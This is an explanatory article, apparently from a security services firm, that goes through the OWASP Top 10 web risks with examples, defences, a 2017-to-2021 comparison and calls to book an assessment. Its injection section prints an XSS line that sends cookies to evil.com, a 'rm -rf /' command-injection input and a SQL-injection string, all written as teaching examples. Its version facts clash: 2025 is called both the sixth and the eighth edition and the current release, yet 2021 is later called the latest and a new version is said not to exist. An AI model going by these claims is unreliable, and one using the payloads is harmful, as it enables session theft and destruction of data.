OWASP Top 10 Complete Analysis: 2025/2024/2021 Version Comparison and Explanation

94% of websites have at least one OWASP Top 10 vulnerability.

This isn't fear-mongering. According to Veracode's report, the vast majority of websites have known security weaknesses.

The good news is these vulnerabilities all have clear protection methods. As long as you know what they are.

This article will analyze each OWASP Top 10 vulnerability one by one, explaining in plain language what it is, how it's attacked, and how to protect against it.

---

What is OWASP Top 10?

Origin and Importance

OWASP Top 10 is the "Top 10 Web Security Risks List" published by the OWASP Organization.

This list isn't randomly compiled. It's based on real vulnerability data provided by hundreds of companies globally, statistically identifying the 10 most common and dangerous weaknesses.

Why is it important?

• Industry Standard: Adopted by compliance standards like PCI DSS, NIST
• Risk-Oriented: Higher ranking means higher risk
• Highly Practical: Each vulnerability has specific protection recommendations

If you can only learn one security checklist, this is it.

Update Cycle and Decision Process

OWASP Top 10 is updated approximately every 3-4 years.

Historical Versions:

• 2003: First version
• 2010: Second version
• 2013: Third version
• 2017: Fourth version
• 2021: Fifth version
• 2025: Sixth version (current latest official version)

2025 Major Changes:

The OWASP Foundation has officially released the eighth edition of its "Top 10 Security Risks" list for 2025, based on analysis of over 175,000 CVE records and feedback from security practitioners worldwide.

Change Type	Description
🆕 New	A03:2025 Software Supply Chain Failures
🆕 New	A10:2025 Mishandling of Exceptional Conditions
⬆️ Up	Security Misconfiguration moved from #5 to #2
⬇️ Down	Cryptographic Failures dropped from #2 to #4
⬇️ Down	Injection dropped from #3 to #5
🔀 Consolidated	SSRF integrated into A01: Broken Access Control

How are rankings determined?

OWASP collects data from:

• Security company scan data
• Bug bounty platform reports
• Enterprise real incident statistics
• Analysis of over 175,000 CVE records

Then ranks based on "frequency of occurrence" and "impact severity."

---

OWASP Top 10 2021 Version Complete Analysis

Below is a detailed analysis of each of the ten vulnerabilities in the current latest official version (2021).

A01: Broken Access Control

Ranked first, most common and most dangerous.

What does it mean?

Users can access data or functions they shouldn't have access to.

Real Example:

You're a regular member, but by changing a URL parameter, you can see the admin page.

Original: https://example.com/user/profile?id=123
Changed: https://example.com/user/profile?id=1
Result: See someone else's personal data

Common Attack Methods:

• Horizontal Privilege Escalation: Access data of other users at the same level
• Vertical Privilege Escalation: Regular users access admin functions
• IDOR (Insecure Direct Object Reference): Directly modify ID to access others' data

Protection Methods:

• Default deny all access, then explicitly grant
• Perform permission checks on every API
• Avoid exposing resource IDs in URLs
• Implement rate limiting

A02: Cryptographic Failures

Sensitive data not properly protected.

What does it mean?

Passwords stored in plaintext, credit card numbers not encrypted, using outdated encryption algorithms.

Real Example:

In 2019, Facebook was exposed for storing hundreds of millions of user passwords in plaintext in internal logs.

Common Problems:

Problem	Description
Plaintext Transmission	Not using HTTPS
Plaintext Storage	Passwords not hashed
Weak Encryption	Using MD5, SHA1
Poor Key Management	Keys hardcoded in source code

Protection Methods:

• Site-wide HTTPS
• Hash passwords with bcrypt or Argon2
• Encrypt sensitive data storage (AES-256)
• Manage keys with Vault or KMS

A03: Injection

The classic of classics.

What does it mean?

Attackers insert malicious code in input fields, making the server execute it.

Most Common Types:

SQL Injection:

-- Normal query
SELECT * FROM users WHERE id = '123'

-- Attacker inputs: 123' OR '1'='1
SELECT * FROM users WHERE id = '123' OR '1'='1'
-- Result: Retrieves all user data

XSS (Cross-Site Scripting):

<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

Command Injection:

# Website lets user input filename
filename=report.pdf

# Attacker inputs: report.pdf; rm -rf /
# Server executes: cat report.pdf; rm -rf /

Protection Methods:

• Use Parameterized Queries (Prepared Statements)
• Input validation and filtering
• Output encoding (HTML Encoding)
• Principle of least privilege

Worried your website has SQL Injection? Book a free security assessment, let experts help you test.

A04: Insecure Design

New category added in 2021.

What does it mean?

It's not that the code is wrong, the design itself is flawed.

Real Example:

An e-commerce site's "Forgot Password" feature:

1. Enter Email
2. System sends verification code (4 digits)
3. Enter verification code to reset password

What's the problem? 4 digits only have 10,000 possibilities, attackers can brute force it.

Common Design Flaws:

• Lack of rate limiting
• No protection against automated attacks
• Business logic vulnerabilities
• Lack of threat modeling

Protection Methods:

• Do threat modeling during design phase
• Use secure design patterns
• Add abuse prevention mechanisms
• Regular design reviews

A05: Security Misconfiguration

Easiest to avoid, yet most common.

What does it mean?

System settings not configured properly, leaving security holes.

Common Errors:

Error	Risk
Default passwords unchanged	Easy unauthorized access
Error messages too detailed	System information disclosure
Unnecessary services enabled	Increased attack surface
Debug mode not disabled	Sensitive information disclosure
Security patches not updated	Known vulnerabilities exploited

Real Example:

A company's S3 Bucket was set to public, resulting in customer data being downloaded wholesale.

Protection Methods:

• Establish security baseline configuration
• Automated configuration checks
• Regular scanning and auditing
• Remove unnecessary features and accounts

A06: Vulnerable and Outdated Components

You didn't mean to, but you used something with holes.

What does it mean?

Libraries, frameworks, or packages you use have known vulnerabilities.

Real Example:

The 2021 Log4j vulnerability (Log4Shell) affected millions of Java applications worldwide.

What's the problem?

Modern software heavily depends on third-party packages. Your project might directly depend on 50 packages, but those 50 packages each depend on more packages. Any one with a vulnerability puts you at risk.

Protection Methods:

• Maintain a Software Bill of Materials (SBOM)
• Regularly scan for package vulnerabilities (OWASP Dependency-Check)
• Promptly update vulnerable packages
• Remove unused packages

A07: Identification and Authentication Failures

Login mechanism has vulnerabilities.

What does it mean?

Attackers can bypass login or easily obtain others' accounts.

Common Problems:

• Allows weak passwords (123456)
• No brute force protection
• Poor session management
• No multi-factor authentication

Attack Methods:

Attack	Description
Brute Force	Program tries all password combinations
Credential Stuffing	Use leaked credentials to attempt login
Session Hijacking	Steal post-login session

Protection Methods:

• Enforce password complexity
• Implement login failure lockout
• Use Multi-Factor Authentication (MFA)
• Secure session management

A08: Software and Data Integrity Failures

New category added in 2021.

What does it mean?

Not verifying software or data integrity, potentially allowing malicious code injection.

Common Problems:

• CI/CD Pipeline without integrity checks
• Auto-updates without signature verification
• Deserialization vulnerabilities

Real Example:

SolarWinds supply chain attack. Attackers compromised SolarWinds' build environment, injecting backdoors into software updates, affecting thousands of organizations including US government agencies.

Protection Methods:

• Verify software signatures
• Protect CI/CD Pipeline
• Use secure deserialization methods

A09: Security Logging and Monitoring Failures

Got hacked and didn't even know.

What does it mean?

Insufficient logging and monitoring, unable to detect or investigate attacks.

What's the problem?

According to statistics, enterprises take an average of 197 days to discover data breaches. Often they only find out when notified externally.

Common Problems:

• Not logging login failures
• Logs not centrally managed
• No alerting mechanisms
• Log retention too short

Protection Methods:

• Log all security-related events
• Centralized log management (SIEM)
• Set up alerting rules
• Regular log review

A10: Server-Side Request Forgery (SSRF)

New category added in 2021.

What does it mean?

Tricking the server into making requests to attacker-specified locations.

Attack Principle:

Normal: User request → Web server → External resource
Attack: User request (malicious URL) → Web server → Internal system

Real Example:

Capital One data breach. Attackers exploited SSRF vulnerability to have AWS servers request the internal Metadata Service, obtaining IAM credentials, then accessing customer data in S3.

Protection Methods:

• Validate and filter user-input URLs
• Use whitelists to restrict requestable targets
• Block requests to internal network segments
• Disable unnecessary outbound connections

---

Historical Version Comparison

2017 vs 2021 Major Changes

2017 Version	2021 Version	Change
A1: Injection	A03: Injection	Dropped 2 ranks
A2: Broken Authentication	A07: Auth Failures	Dropped 5 ranks
A3: Sensitive Data Exposure	A02: Cryptographic Failures	Rose 1 rank, renamed
A4: XXE	Merged into A05	Merged
A5: Broken Access Control	A01: Broken Access Control	Rose to #1
A6: Security Misconfiguration	A05: Security Misconfiguration	Rose 1 rank
A7: XSS	Merged into A03 Injection	Merged
A8: Insecure Deserialization	Merged into A08	Merged
A9: Using Vulnerable Components	A06: Vulnerable Components	Rose 3 ranks
A10: Insufficient Logging	A09: Logging Failures	Rose 1 rank
-	A04: Insecure Design	New
-	A08: Data Integrity Failures	New
-	A10: SSRF	New

Why Did Access Control Become #1?

Three reasons:

1. Cloud Service Proliferation: More APIs, more access points, more room for error
2. Microservices Architecture: Permission management between services is more complex
3. Mature Attack Tools: Automation tools make privilege escalation attacks easier

2025 Expected Trends

Although OWASP hasn't released a new version, community discussions suggest possible changes:

• AI/ML Security: LLM-related vulnerabilities may be included
• Supply Chain Security: More emphasis after SolarWinds incident
• API Security: May receive more coverage

---

How to Use OWASP Top 10

Knowing what the vulnerabilities are is just the first step. The key is how to use this list.

Development Team Self-Check List

Before each release, check against Top 10:

A01 Access Control:

• Does every function have permission checks?
• Can't access others' data by modifying parameters?

A02 Encryption:

• Is sensitive data encrypted in storage?
• Is HTTPS used site-wide?

A03 Injection:

• Using parameterized queries?
• Is input validation done?

A04 Design:

• Was threat modeling done?
• Are abuse prevention mechanisms in place?

A05 Configuration:

• Default credentials removed?
• Debug mode disabled?

Continue through all 10 items.

Code Review Focus Points

During Code Review, pay special attention to:

Code Pattern	Possible Vulnerability
String-concatenated SQL	A03 Injection
Direct output of user input	A03 XSS
API without permission checks	A01 Access Control
Hardcoded passwords or keys	A02 Cryptographic Failures
eval() or exec()	A03 Injection

Penetration Testing Coverage

When doing penetration testing, ensure all Top 10 items are covered:

□ A01: Test privilege escalation
□ A02: Test encryption strength
□ A03: Test various injections
□ A04: Test business logic vulnerabilities
□ A05: Test misconfiguration
□ A06: Scan package vulnerabilities
□ A07: Test login mechanism
□ A08: Test data integrity
□ A09: Check log coverage
□ A10: Test SSRF

Want to scan yourself with professional tools? See OWASP ZAP Complete Tutorial.

Want to practice these attacks hands-on? Try OWASP Juice Shop Practical Tutorial.

Want to use OWASP Top 10 for internal auditing? Book security assessment, we provide professional assessment services.

---

FAQ

Q1: How often is OWASP Top 10 updated?

Approximately every 3-4 years. The current latest official version was released in 2021. The next version is expected around 2024-2025. However, OWASP has other specialized lists that update more frequently, such as API Top 10 (2023), LLM Top 10 (2025).

Q2: What's the biggest difference between OWASP Top 10 2021 and 2017?

Three main changes: (1) Broken Access Control rose from #5 to #1, reflecting these issues are becoming more serious; (2) Three new categories added: Insecure Design, Software and Data Integrity Failures, SSRF; (3) XSS was merged into the Injection category. Overall, the new version pays more attention to design-level security issues.

Q3: Do small and medium enterprises need to follow OWASP Top 10?

It's not "follow," it's "reference." OWASP Top 10 is not a regulation with no mandatory requirement. But if your website handles customer data, payments, or sensitive information, following Top 10 is best practice for protecting yourself and your customers. SMEs should pay even more attention because security incidents could directly lead to company closure.

---

Conclusion: From Knowing to Doing

OWASP Top 10 is required learning for every developer and security professional.

But just knowing these 10 vulnerabilities isn't enough. You need to:

1. Understand Principles: Know why these vulnerabilities exist
2. Practice Hands-On: Actually try attacking and defending
3. Integrate into Process: Incorporate checks into development workflow

Suggested Next Steps:

• Read OWASP Complete Guide to learn more OWASP resources
• Use OWASP ZAP to scan your website
• Practice these attacks on Juice Shop

Or let experts help you directly.

Book a free security assessment, have your website security evaluated against OWASP Top 10 standards.

---

Reference Resources

• OWASP Complete Guide
• OWASP ZAP Complete Tutorial
• Juice Shop Practical Tutorial
• OWASP API Top 10 Guide
• OWASP LLM Top 10 Explained
• OWASP Top 10 Official Website
• OWASP Top 10 2021 PDF
• OWASP Cheat Sheet Series